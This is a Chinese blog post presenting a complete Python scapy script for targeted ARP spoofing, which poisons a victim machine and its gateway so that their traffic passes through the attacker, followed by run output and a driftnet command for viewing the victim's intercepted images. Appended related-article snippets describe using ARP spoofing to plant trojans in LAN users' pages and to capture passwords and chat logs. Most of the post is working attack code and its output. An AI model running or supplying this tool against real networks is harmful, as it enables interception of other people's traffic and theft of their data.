用python编写的定向arp欺骗工具
刚学习了scapy模块的一些用法,非常强大,为了练手,利用此模块编写了一个arp欺骗工具,其核心是构造arp欺骗包。加了一个-a参数用于进行全网欺骗,先暂不实现。代码如下:
#--*--coding=utf-8--*-- from scapy.all import *
import optparse
import threading #解决在linux系统上运行时报的unicode编码相关错误
import sys
reload(sys)
sys.setdefaultencoding('utf-8') def getMac(tgtIP):
'''
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
'''
try:
tgtMac = getmacbyip(tgtIP)
return tgtMac
except:
print '[-]请检查目标IP是否存活' def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
'''
生成ARP数据包,伪造网关欺骗目标计算机
srcMac:本机的MAC地址,充当中间人
tgtMac:目标计算机的MAC
gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
tgtIP:目标计算机的IP
op=2,表示ARP响应
'''
pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
return pkt def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
'''
生成ARP数据包,伪造目标计算机欺骗网关
srcMac:本机的MAC地址,充当中间人
gatewayMac:网关的MAC
tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gatewayIP:网关的IP
op=2,表示ARP响应
'''
pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
return pkt def main():
usage = 'Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a'
parser = optparse.OptionParser(usage,version='v1.0')
parser.add_option('-t',dest='targetIP',type='string',help='指定目标计算机IP')
parser.add_option('-g',dest='gatewayIP',type='string',help='指定网关IP')
parser.add_option('-i',dest='interface',type='string',help='指定使用的网卡')
parser.add_option('-a',dest='allarp',action='store_true',help='是否进行全网arp欺骗') options,args = parser.parse_args()
tgtIP = options.targetIP
gatewayIP = options.gatewayIP
interface = options.interface if tgtIP == None or gatewayIP == None or interface == None:
print parser.print_help()
exit(0) srcMac = get_if_hwaddr(interface)
print '本机MAC地址是:',srcMac
tgtMac = getMac(tgtIP)
print '目标计算机MAC地址是:',tgtMac
gatewayMac = getMac(gatewayIP)
print '网关MAC地址是:',gatewayMac
raw_input('按任意键继续:') pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP) i = 1
while True:
t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
t.start()
t.join()
print str(i) + ' [*]发送一个计算机ARP欺骗包' s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,})
s.start()
s.join()
print str(i) + ' [*]发送一个网关ARP欺骗包'
i += 1 if __name__ == '__main__':
main()
验证如下:
# python arpspoof.py -t 192.168.1.28 -g 192.168.1.1 -i wlan0
WARNING: No route found for IPv6 destination :: (no default route?)
本机MAC地址是: xxx
目标计算机MAC地址是:xxx
网关MAC地址是: xxx
按任意键继续:
.
Sent 1 packets.
1 [*]发送一个计算机ARP欺骗包
.
Sent 1 packets.
1 [*]发送一个网关ARP欺骗包
.
Sent 1 packets.
2 [*]发送一个计算机ARP欺骗包
.
Sent 1 packets.
2 [*]发送一个网关ARP欺骗包
.
Sent 1 packets.
3 [*]发送一个计算机ARP欺骗包
.
Sent 1 packets.
3 [*]发送一个网关ARP欺骗包
......
#driftnet -i wlan0
用python编写的定向arp欺骗工具的更多相关文章
- Python编写类似nmap的扫描工具
文主要是利用scapy包编写了一个简易扫描工具,支持ARP.ICMP.TCP.UDP发现扫描,支持TCP SYN.UDP端口扫描,如下: usage: python scan.py <-p pi ...
- Python编写的Linux邮件发送工具
之前有用过Linux自带的mail工具来定时发送邮件,但是要装mailx还有配mail.rc,这还比较正常,关键是到了ubantu下这工具用起来真是操蛋,如果哪天其他的unix like操作系统也有需 ...
- 用python编写的excel拆分小工具
from datetime import date,datetime from openpyxl import Workbook from openpyxl import load_workbook ...
- Python黑帽编程 3.1 ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- Python黑客编程ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- 使用ARP欺骗, 截取局域网中任意一台机器的网页请求,破解用户名密码等信息
ARP欺骗的作用 当你在网吧玩,发现有人玩LOL大吵大闹, 用ARP欺骗把他踢下线吧 当你在咖啡厅看上某一个看书的妹纸,又不好意思开口要微信号, 用arp欺骗,不知不觉获取到她的微信号和聊天记录,吓一 ...
- Arp欺骗攻击的另类应用之屌丝泡妞记
http://www.2cto.com/Article/201210/163974.html arp欺骗,我想大家都应该知道怎么回事了.不知道的去问度娘... 就不废话了,还是直接上图上教程比 ...
- Mac和Linux系统的:Arp欺骗源码
linux系统, 简化版的ARP欺骗工具 精简版, 没有很多代码, 只要把准备好的数据, 发送给到网卡接口, 利用这个工具, 可以让局域网内的一台计算机暂时掉线: #include <stdio ...
- kali系统:局域网arp欺骗, 搞定任意windows计算机
目的 通过Arp欺骗, 给局域网内的所有用户网页中植入木马, 只要用户运行以后, 就会反弹一个shell到我们计算机 准备 kali系统 metaspolit的使用 Arp欺骗工具:bettercap ...
随机推荐
- Python 多级目录选择+一键正反排序
效果如图所示,可以根据条件来选择对象 cat pc.py #!/usr/bin/pythonfrom flask import Flask,render_template,request,redire ...
- Cocos2d-JS 实现将TiledMap中的每个 tile 变成物理精灵的方法
How to generate a physics body from a tiledmap 鄙人在网上找了许久都未找到方法,说句实在话,Cocos2d官方给出的与物理引擎相关的内容真的不是很多, ...
- POJ-1200 Crazy Search,人生第一道hash题!
Crazy Search 真是不容易啊,人生第一道hash题竟然是搜博客看题解来的. 题意:给你 ...
- 九度oj 题目1111:单词替换
题目描述: 输入一个字符串,以回车结束(字符串长度<=100).该字符串由若干个单词组成,单词之间用一个空格隔开,所有单词区分大小写.现需要将其中的某个单词替换成另一个单词,并输出替换之后的字符 ...
- 九度oj 题目1025:最大报销额
题目描述: 现有一笔经费可以报销一定额度的发票.允许报销的发票类型包括买图书(A类).文具(B类).差旅(C类),要求每张发票的总额不得超过1000元,每张发票上,单项物品的价值不得超过600 ...
- Snmp的学习总结——Snmp的基本概念
摘自:http://www.cnblogs.com/xdp-gacl/p/3978825.html 一.SNMP简单概述 1.1.什么是Snmp SNMP是英文"Simple Network ...
- 【边双连通】poj 3352 Road Construction
http://poj.org/problem?id=3352 [题意] 给定一个连通的无向图,求最少加多少条边使得这个图变成边双连通图 [AC] //#include<bits/stdc++.h ...
- response.sendRedirect()使用注意事项
用response.sendRedirect做转向其实是向浏览器发送一个特殊的Header,然后由浏览器来做转向,转到指定的页面,所以用sendRedirect时,浏览器的地址栏上可以看到地址的变化. ...
- AFNetworking实时监测网络连接
// 网络变化消息 [[NSNotificationCenter defaultCenter] addObserver: self selector: @selector(checkNetwork) ...
- Django实现的博客系统中使用富文本编辑器ckeditor
操作系统为OS X 10.9.2,Django为1.6.5. 1.下载和安装 1.1 安装 ckeditor 下载地址 https://github.com/shaunsephton/django-c ...